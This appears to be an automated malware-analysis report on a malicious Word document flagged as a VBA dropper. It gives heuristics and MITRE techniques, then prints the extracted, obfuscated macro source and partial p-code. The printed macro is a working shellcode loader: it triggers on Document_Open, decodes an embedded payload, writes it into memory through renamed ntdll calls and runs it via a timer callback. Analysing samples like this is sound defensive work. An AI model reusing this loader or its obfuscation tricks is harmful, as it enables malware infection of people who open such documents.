MALICIOUS
130
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the Document_Open event and uses GetObject, indicating an attempt to execute code. The ClamAV heuristic identifies it as a dropper, suggesting its primary purpose is to download and execute a second-stage payload. No specific family could be identified, but the presence of VBA macros and the dropper behavior points to a common malware delivery technique.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6347785-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6347785-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Sub Private Sub Document_Open() Dim sport As Long -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 49684 bytes |
SHA-256: 583e0672bd07316fdbe633919b3601f72d6e7ab9ad0f21820994c9b7819e2a15 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub GenerateGlossary()
Dim strSource As String
Dim strDestination As String
Dim strGlossaryName As String
strSource = ActiveWindow.Caption
strGlossaryName = "word"
Documents.Add
ActiveDocument.SaveAs FileName:=strGlossaryName, FileFormat:=wdFormatDocument
strDestination = ActiveWindow.Caption
Windows(strSource).Activate
End Sub
Sub scorpionfish()
Dim antigenic As Long
Dim exemplification As Variant
dibatter.fuss.Value = Day(#12/5/2013#)
varday = supremacist = "dowsing"
vitrics = macrobiotic
portulaca = alerts
coffeepot = catechism
dipsomania = "nincompoop"
aponeurosis = "powhatan"
bleeding = "disciplinal"
Set possessions = dibatter.fuss.SelectedItem
barnyard = 8
mutandis = 6172
grime = 499094
Pmt 0, barnyard, 17744, 37745, 5
dispair = possessions.Name
albatross = 81 - 18 + 7781
behavior = Right(dispair, albatross)
couchant = hangnail.amanuensis(behavior)
freshen = 53
multistage = 32489
pobreza = 335016
Pmt 0, freshen, 5728, 13100, 8
otium = "sherbert"
preliterate = "bach"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim chink As Variant
Dim preconcertation As LongPtr
Dim pomaded As LongPtr
Dim certain As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim welldone As Integer
Dim pomaded As Long
Dim sided As Long
Dim preconcertation As Long
#End If
avail = 86 - 14 - 72
meandering = "dropline"
abutting = "guardship"
aviate = 58 - 65 + 4103
pervicacity = 76
obedience = 31146
shiksa = 151788
Pmt 0, pervicacity, 29395, 50284, 7
australian = asynergic
nonalignment = "durra"
brook = "contingent"
musophagidae = 51
chiropractic = 9391
dunker = 527872
Pmt 0, musophagidae, 4482, 52720, 7
sheeny = couchant
disintegrate = monosemous
overbalance = "juvenile"
preconcertation = podaxaceae(sheeny)
overdate = "transpierce"
hurlyburly = "unpoetical"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim algeripithecus As Integer
Dim vincture As LongPtr
Dim mullioned As LongPtr
Dim fallacious As LongPtr
stodginess = 97 - 17 + 1984
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim vincture As Long
deactivate = 85 - 75 + 771
Dim mullioned As Long
Dim fallacious As Long
stodginess = deactivate + 3459
#End If
Dim bulgarian As Variant
Dim commodatus As Byte
vincture = 64 - 122 + 58
pomaded = preconcertation + stodginess
mullioned = 44 - 126 + 201609
fallacious = 81 - 75 + 3494
rabato = bovi(mullioned, vincture, pomaded, vincture, vincture, vincture, vincture)
feast = 100 + 1
ashtray = 22900 + 3
greasepaint = 225800 + 8
Pmt 0, feast, 5610, 49919, 3
End Sub
Private Sub Document_Open()
Dim sport As Long
Dim debile As Variant
headrace = "beshrew"
scorpionfish
parlor = 110 + 2
acquisitions = 34040 + 10
acropetal = 107260 + 3
Pmt 0, parlor, 35608, 18766, 8
End Sub
Attribute VB_Name = "hangnail"
' But just your sight had my heart storming
' And walked out
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
' I wouldnt be in my truck
' And hit me like a hurricane
Public Declare PtrSafe Function kit Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal breathing As Any, babble As Any, alprazolam As Any, escapologist As Any) As LongPtr
' The moon went hiding, stars quit shining
' And walked out
Public Declare PtrSafe Function interposition Lib "Kernel32.dll" Alias "CreateEventW" (ByVal calculate As LongPtr, clearcut As LongPtr, glacial As LongPtr, losel As LongPtr, decagon As LongPtr) As Long
' If I woulda just layed my drink down
' I was doing alright
Public Declare PtrSafe Function bovi Lib "Kernel32" Alias "CreateTimerQueueTimer" (typing As Any, ByVal oneeighth As Any, ByVal viverrine As Any, ByVal diffide As Any, ByVal categorization As Any, ByVal vero As Any, ByVal valueless As Any) As Long
' Rain was driving, thunder, lightning
' You wrecked my whole world when you came
Public Declare PtrSafe Function companionability Lib "ntdll.dll " Alias "AcquireSRWLockShared" (avitaminotic As Any) As LongPtr
' Rain was driving, thunder, lightning
' Driving us to your house
Public Declare PtrSafe Function acrosome Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal biauricular As Any, ByVal imperialistic As Any, ByVal inert As Any, ByVal reclination As Any, ByVal appulse As Any) As LongPtr
' And hit me like a hurricane
' Baby, without warning
Public Declare PtrSafe Function afterimage Lib "Shlwapi.dll" Alias "CreateFileWrapW" (brow As LongPtr) As LongPtr
' Knew it was gonna be a long night
' Baby, without warning
Public Declare PtrSafe Function translumination Lib "ntdll.dll" Alias "NtCreateEventPair" (bridewell As LongPtr, undissolved As LongPtr, gynandromorphic As LongPtr) As LongPtr
' And hit me like a hurricane' Hit me like a hurricane
Public Declare PtrSafe Function grain Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (proposal As LongPtr, amazingly As LongPtr, ByVal imagery As LongPtr, acrobatesByVal As LongPtr, soupe As LongPtr, ByVal trigon As LongPtr) As LongPtr
' Hit me like a hurricane
' And walked out
Public Declare PtrSafe Function craze Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal fiord As Any, corking As Any, selfwinding As Any, camaraderie As Any) As LongPtr
' Baby, without warning
' But you rolled in with your hair in the wind
' Hit me like a hurricane
' Then you rolled in with your hair in the wind
#End If
' And hit me like a hurricane
' Rain was driving, thunder, lightning
#If (17 * 2 - 3) > 2 And Not (Win64) > (60 - 5 * 12) * 2 Then
' Rain was driving, thunder, lightning
' You wrecked my whole world when you came
Public Declare Function bovi Lib "Kernel32" Alias "CreateTimerQueueTimer" (dribbling As Any, ByVal deluxe As Any, ByVal baiting As Any, ByVal uganda As Any, ByVal proximal As Any, ByVal penurious As Any, ByVal legislator As Any) As Long
' But just your sight had my heart storming
' I was doing alright
Public Declare Function mindfulness Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal incompetently As Any, actitis As Any, decisively As Any, lymantriidae As Any) As Long
' Hit me like a hurricane
' I wouldnt be in my truck
Public Declare Function affairs Lib "ntdll.dll" Alias "NtCreateEventPair" (usucaption As Long, divinatory As Long, chilomycterus As Long) As Long
' I was doing alright
' If I woulda just layed my drink down
Public Declare Function acrosome Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal diuturnity As Any, ByVal adelaide As Any, ByVal burnt As Any, ByVal pendragon As Any, ByVal bells As Any) As Long
' And hit me like a hurricane
' Started talking bout us again
Public Declare Function accusing Lib "ntdll.dll " Alias "AcquireSRWLockShared" (barbaric As Any) As Long
' The moon went hiding, stars quit shining
' Started talking bout us again
Public Declare Function asked Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal naples As Any, scintillation As Any, adjust As Any, prophecy As Any) As Long
' Baby, without warning
' We locked eyes over whiskey on ice
Public Declare Function emunctory Lib "Kernel32.dll" Alias "CreateEventW" (ByVal globe As Long, aftercare As Long, normalcy As Long, fingerboard As Long, manchu As Long) As Long
' Baby, without warning
' Baby, without warning
Public Declare Function grain Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (imporous As Long, lengthening As Long, ByVal engagement As Long, unlimitedByVal As Long, genie As Long, ByVal evidenced As Long) As Long
' Rain was driving, thunder, lightning
' But just your sight had my heart storming
' I wouldnt be in my truck
' I was doing alright
#End If
' Hit me like a hurricane
' I was doing alright
Sub MyTestArray()
Dim myArray(1 To 4) As String ' Declaring array and setting bounds
Dim Response As String
Dim i As Integer
Dim myFlag As Boolean
myFlag = False
myArray(1) = "A"
myArray(2) = "B"
myArray(3) = "C"
myArray(4) = "D"
Do Until myFlag = True
Response = InputBox("Please enter your choice: (i.e. A,B,C or D)")
For i = 1 To 4
If UCase(Response) = UCase(myArray(i)) Then
myFlag = True: Exit For
End If
Next i
Loop
End Sub
Function balista(aplasia, beatable, poetics)
Select Case poetics
Case 48 + (10 / 2 - 5)
balista = aplasia \ beatable
Case 58 + (5 - 3) / 2 - 1
balista = aplasia And beatable
Case 66 + (56 / 7 - 4 * 2)
balista = aplasia * beatable
End Select
End Function
Function amanuensis(denisonia) As String
Dim unsatisfactory As Long
Dim ruined As Long
Dim cressida As Integer
Dim apsu As Byte
Dim austrian As String
Dim settled(63) As Long
Dim chimney(6962) As Byte
Dim reassemble As Variant
Dim checkmate() As Byte
Dim clinking As String
belli = architeuthis
Dim expectations(63) As Long
pastorale = Fix(405)
Dim bijoutry As String
Dim nonastringent As Long
Dim mounts As Long
preterit = Math.Round(372)
Dim choking(63) As Long
Dim completely As Long
critique = 104 - 57 + 16515025
hardbaked = 33 - 53 + 16711700
homoiothermic = 80 - 118 + 101
bequest = 111 - 112 + 257
sapsago = 70 - 121 + 115
Dim ardea As Byte
mast = 14 - 82 + 4100
Dim multinucleate As Integer
boltonia = 35 - 1 + 4062
methodologically = 74 - 113 + 258087
printer = 86 - 103 + 272
thyroid = 59 - 54 + 262139
aspirate = 80 - 111 + 65567
breachloader = 98 - 57 + 65239
Dim names As Long
cowpox = 12 - 97 + 85
maranta = 89 - 32 + 7786
Dim downpour() As Byte
Dim sternwheeler As Byte
Dim daggle As Byte
downpour = VBA.StrConv(denisonia, 128)
Dim bustard As Integer
charadriiformes = 8
cinnabar = 20527
brooklet = 396753
Pmt 0, charadriiformes, 7214, 28797, 3
bespangle = 7843
guinesss = vbKeyShift - 12
For absents = 0 To bespangle
If absents Mod 2 = 0 Then
downpour(absents) = downpour(absents) - guinesss
Else
downpour(absents) = downpour(absents) - (guinesss - 1)
End If
Next absents
actor = 63
directional = 15929
alienism = 236078
Pmt 0, actor, 37514, 17154, 5
cressida = 0
aging = 100 - 83 - 17
dutyfree = 93 - 35 - 15
marche = commination
For mounts = (7 - 7) * 1 To (50 + 13) * (5 - 4)
settled(mounts) = balista(mounts, sapsago, 66)
choking(mounts) = balista(mounts, boltonia, 66)
expectations(mounts) = balista(mounts, thyroid, 66)
Next mounts
but = 49
aneurysm = 16985
callow = 493967
Pmt 0, but, 7766, 10596, 4
checkmate = downpour
senecan = 75 - 92 + 21
marasmus = 48
dominant = 24846
pharmacologically = 280313
Pmt 0, marasmus, 5672, 58024, 4
paulo = 50 - 44 - 3
pastorale = Fix(493)
quad = dialect
petrocoptis = paulo + 1
chinking = 22 - 57 + 37
For ruined = 0 To bespangle
cattleman = checkmate(ruined)
Subject = checkmate(ruined + 2)
blaser = choking(marche(checkmate(ruined + 1)))
cloudless = settled(marche(Subject)) + marche(checkmate(ruined + paulo))
nonastringent = expectations(marche(cattleman)) + blaser + cloudless
mounts = balista(nonastringent, hardbaked, 58)
chimney(unsatisfactory) = balista(mounts, aspirate, 48)
mounts = balista(nonastringent, breachloader, 58)
chimney(unsatisfactory + 1) = balista(mounts, bequest, 48)
chimney(unsatisfactory + chinking) = balista(nonastringent, printer, 58)
unsatisfactory = unsatisfactory + chinking + 1
ruined = ruined + 3
Next
amanuensis = chimney
End Function
Attribute VB_Name = "dibatter"
Attribute VB_Base = "0{B9FBAA2C-1CB7-4900-B114-FEE71F5844DF}{DFCEF900-2888-442A-A58A-44407434A7E4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "zmodule2"
Function grandsire(apresski, airsick, gutsiness)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim adjectival As Variant
Dim tempi As Byte
Dim ginkgopsida As LongPtr
Dim bayley As LongPtr
Dim jerky As LongPtr
Dim variance As Integer
Dim muscas As LongPtr
Dim hereness As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim bayley As Long
Dim beckon As Variant
Dim ginkgopsida As Long
Dim immunization As Variant
Dim muscas As Long
Dim boat As Variant
Dim jerky As Long
Dim brigandine As Variant
Dim hereness As Long
Dim unhealed As Variant
Dim arresting As String
#End If
dialect = belli
pastorale = Math.Round(287)
bayley = apresski
hereness = gutsiness
idiolect = Math.Round(303)
muscas = airsick
colosseum = 33
consequent = 16508
nubiferous = 400461
Pmt 0, colosseum, 12066, 54043, 8
dialect = dialect
ginkgopsida = 69 - 80 + 10
acrosome ByVal ginkgopsida, bayley, muscas, hereness, jerky
belli = "checkout"
End Function
Sub range()
Dim rngFirstList As range
Set rngFirstList = ActiveDocument.Lists(1).range
ActiveDocument.Windows(1).ScrollIntoView Obj:=rngFirstList, Start:=False
rngFirstList.Select
Selection.Collapse Direction:=wdCollapseEnd
Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdMove
End Sub
Attribute VB_Name = "amodule2"
Function podaxaceae(cycloserine)
Dim mylodon As Byte
Dim daybed As String
Dim failing As Byte
Dim douloureux As Variant
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
Dim squeasy As Integer
Dim abase As LongPtr
prizeman = 44 - 111 + 75
Dim contraposition As LongPtr
Dim disk As Variant
Dim humming As Byte
Dim secondary As LongPtr
Dim psammoma As Byte
#End If
#If (17 * 2 - 3) > 2 And Not (Win64) > (60 - 5 * 12) * 2 Then
Dim abase As Long
prizeman = 77 - 81 + 8
Dim contraposition As Long
Dim secondary As Long
#End If
eschrichtiidae = VarPtr(abase)
barbershop = grandsire(eschrichtiidae, VarPtr(cycloserine) + 8, prizeman)
injunction = 33 - 42 + 8
contraposition = 20 - 63 + 43
steering = 112 - 8 - 104
secondary = 67 - 44 + 9703
asperous = 68 - 109 + 4137
concavoconvex = 87 - 74 + 51
tactfully = grain(ByVal injunction, _
contraposition, ByVal steering, secondary, ByVal asperous, _
ByVal concavoconvex)
plants = Math.Round(332)
pastorale = preterit Or 287
grandsire contraposition, abase, 1 - 38 + 5920
unambitious = 76
ratlings = 24117
effendi = 571207
Pmt 0, unambitious, 3562, 23473, 4
podaxaceae = contraposition
End Function
Function commination()
Dim blennioidea(255) As Byte
lentiform = 64 - 86 + 87
Do While lentiform <= 90 + 1
blennioidea(lentiform) = lentiform - 65
lentiform = lentiform + 1
Loop
lentiform = 48
Do While lentiform <= 50 + 8
blennioidea(lentiform) = lentiform + 4
lentiform = lentiform + 1
Loop
lentiform = 97
Do While lentiform <= 120 + 3
blennioidea(lentiform) = lentiform - 71
lentiform = lentiform + 1
Loop
blennioidea(47) = 63
lentiform = 43
blennioidea(lentiform) = 60 + 2
commination = blennioidea
End Function
Function mg(reclaimed)
mg = AscW(reclaimed)
End Function
' Processing file: /opt/analyzer/scan_staging/6432c5b986fa4f69b718a612c87b228b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 9751 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' FuncDefn (Sub GenerateGlossary())
' Line #4:
' Dim
' VarDefn strSource (As String)
' Line #5:
' Dim
' VarDefn strDestination (As String)
' Line #6:
' Dim
' VarDefn strGlossaryName (As String)
' Line #7:
' Line #8:
' Ld ActiveWindow
' MemLd Caption
' St strSource
' Line #9:
' LitStr 0x0004 "word"
' St strGlossaryName
' Line #10:
' Line #11:
' Ld Documents
' ArgsMemCall Add 0x0000
' Line #12:
' Ld strGlossaryName
' ParamNamed FileName
' Ld wdFormatDocument
' ParamNamed FileFormat
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0002
' Line #13:
' Ld ActiveWindow
' MemLd Caption
' St strDestination
' Line #14:
' Ld strSource
' ArgsLd Windows 0x0001
' ArgsMemCall Activate 0x0000
' Line #15:
' EndSub
' Line #16:
' Line #17:
' FuncDefn (Sub scorpionfish())
' Line #18:
' Dim
' VarDefn antigenic (As Long)
' Line #19:
' Dim
' VarDefn exemplification (As Variant)
' Line #20:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld dibatter
' MemLd fuss
' MemSt Value
' Line #21:
' Ld supremacist
' LitStr 0x0007 "dowsing"
' Eq
' St varday
' Line #22:
' Ld macrobiotic
' St vitrics
' Line #23:
' Ld alerts
' St portulaca
' Line #24:
' Ld catechism
' St coffeepot
' Line #25:
' LitStr 0x000A "nincompoop"
' St dipsomania
' Line #26:
' Line #27:
' LitStr 0x0008 "powhatan"
' St aponeurosis
' Line #28:
' LitStr 0x000B "disciplinal"
' St bleeding
' Line #29:
' SetStmt
' Ld dibatter
' MemLd fuss
' MemLd SelectedItem
' Set possessions
' Line #30:
' LitDI2 0x0008
' St barnyard
' Line #31:
' LitDI2 0x181C
' St mutandis
' Line #32:
' LitDI4 0x9D96 0x0007
' St grime
' Line #33:
' LitDI2 0x0000
' Ld barnyard
' LitDI2 0x4550
' LitDI4 0x9371 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #34:
' Line #35:
' Ld possessions
' MemLd Name
' St dispair
' Line #36:
' LitDI2 0x0051
' LitDI2 0x0012
' Sub
' LitDI2 0x1E65
' Add
' St albatross
' Line #37:
' Ld dispair
' Ld albatross
' ArgsLd Right 0x0002
' St behavior
' Line #38:
' Ld behavior
' Ld hangnail
' ArgsMemLd amanuensis 0x0001
' St couchant
' Line #39:
' LitDI2 0x0035
' St freshen
' Line #40:
' LitDI2 0x7EE9
' St multistage
' Line #41:
' LitDI4 0x1CA8 0x0005
' St pobreza
' Line #42:
' LitDI2 0x0000
' Ld freshen
' LitDI2 0x1660
' LitDI2 0x332C
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #43:
' Line #44:
' LitStr 0x0008 "sherbert"
' St otium
' Line #45:
' LitStr 0x0004 "bach"
' St preliterate
' Line #46:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #47:
' Dim
' VarDefn chink (As Variant)
' Line #48:
' Dim
' VarDefn preconcertation (As Ptr)
' Line #49:
' Dim
' VarDefn pomaded (As Ptr)
' Line #50:
' Dim
' VarDefn certain (As String)
' Line #51:
' LbMark
' LbEndIf
' Line #52:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #53:
' Dim
' VarDefn welldone (As Integer)
' Line #54:
' Dim
' VarDefn pomaded (As Long)
' Line #55:
' Dim
' VarDefn sided (As Long)
' Line #56:
' Dim
' VarDefn preconcertation (As Long)
' Line #57:
' LbMark
' LbEndIf
' Line #58:
' LitDI2 0x0056
' LitDI2 0x000E
' Sub
' LitDI2 0x0048
' Sub
' St avail
' Line #59:
' LitStr 0x0008 "dropline"
' St meandering
' Line #60:
' LitStr 0x0009 "guardship"
' St abutting
' Line #61:
' LitDI2 0x003A
' LitDI2 0x0041
' Sub
' LitDI2 0x1007
' Add
' St aviate
' Line #62:
' LitDI2 0x004C
' St pervicacity
' Line #63:
' LitDI2 0x79AA
' St obedience
' Line #64:
' LitDI4 0x50EC 0x0002
' St shiksa
' Line #65:
' LitDI2 0x0000
' Ld pervicacity
' LitDI2 0x72D3
' LitDI4 0xC46C 0x0000
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #66:
' Line #67:
' Ld asynergic
' St australian
' Line #68:
' LitStr 0x0005 "durra"
' St nonalignment
' Line #69:
' LitStr 0x000A "contingent"
' St brook
' Line #70:
' LitDI2 0x0033
' St musophagidae
' Line #71:
' LitDI2 0x24AF
' St chiropractic
' Line #72:
' LitDI4 0x0E00 0x0008
' St dunker
' Line #73:
' LitDI2 0x0000
' Ld musophagidae
' LitDI2 0x1182
' LitDI4 0xCDF0 0x0000
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #74:
' Line #75:
' Ld couchant
' St sheeny
' Line #76:
' Ld monosemous
' St disintegrate
' Line #77:
' LitStr 0x0008 "juvenile"
' St overbalance
' Line #78:
' Ld sheeny
' ArgsLd podaxaceae 0x0001
' St preconcertation
' Line #79:
' LitStr 0x000B "transpierce"
' St overdate
' Line #80:
' LitStr 0x000A "unpoetical"
' St hurlyburly
' Line #81:
' LbMark
' LitDI2 0x0003
' LitDI2 0x0004
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0005
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0008
' LitDI2 0x0004
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #82:
' Dim
' VarDefn algeripithecus (As Integer)
' Line #83:
' Dim
' VarDefn vincture (As Ptr)
' Line #84:
' Dim
' VarDefn mullioned (As Ptr)
' Line #85:
' Dim
' VarDefn fallacious (As Ptr)
' Line #86:
' LitDI2 0x0061
' LitDI2 0x0011
' Sub
' LitDI2 0x07C0
' Add
' St stodginess
' Line #87:
' LbMark
' LbEndIf
' Line #88:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #89:
' Dim
' VarDefn vincture (As Long)
' Line #90:
' LitDI2 0x0055
' LitDI2 0x004B
' Sub
' LitDI2 0x0303
' Add
' St deactivate
' Line #91:
' Dim
' VarDefn mullioned (As Long)
' Line #92:
' Dim
' VarDefn fallacious (As Long)
' Line #93:
' Ld deactivate
' LitDI2 0x0D83
' Add
' St stodginess
' Line #94:
' Line #95:
' LbMark
' LbEndIf
' Line #96:
' Dim
' VarDefn bulgarian (As Variant)
' Line #97:
' Dim
' VarDefn commodatus (As Byte)
' Line #98:
' LitDI2 0x0040
' LitDI2 0x007A
' Sub
' LitDI2 0x003A
' Add
' St vincture
' Line #99:
' Ld preconcertation
' Ld stodginess
' Add
' St pomaded
' Line #100:
' LitDI2 0x002C
' LitDI2 0x007E
' Sub
' LitDI4 0x1389 0x0003
' Add
' St mullioned
' Line #101:
' LitDI2 0x0051
' LitDI2 0x004B
' Sub
' LitDI2 0x0DA6
' Add
' St fallacious
' Line #102:
' Ld mullioned
' Ld vincture
' Ld pomaded
' Ld vincture
' Ld vincture
' Ld vincture
' Ld vincture
' ArgsLd bovi 0x0007
' St rabato
' Line #103:
' LitDI2 0x0064
' LitDI2 0x0001
' Add
' St feast
' Line #104:
' LitDI2 0x5974
' LitDI2 0x0003
' Add
' St ashtray
' Line #105:
' LitDI4 0x7208 0x0003
' LitDI2 0x0008
' Add
' St greasepaint
' Line #106:
' LitDI2 0x0000
' Ld feast
' LitDI2 0x15EA
' LitDI4 0xC2FF 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #107:
' Line #108:
' EndSub
' Line #109:
' FuncDefn (Sub Document_Open())
' Line #110:
' Dim
' VarDefn sport (As Long)
' Line #111:
' Dim
' VarDefn debile (As Variant)
' Line #112:
' LitStr 0x0007 "beshrew"
' St headrace
' Line #113:
' ArgsCall scorpionfish 0x0000
' Line #114:
' LitDI2 0x006E
' LitDI2 0x0002
' Add
' St parlor
' Line #115:
' LitDI4 0x84F8 0x0000
' LitDI2 0x000A
' Add
' St acquisitions
' Line #116:
' LitDI4 0xA2FC 0x0001
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.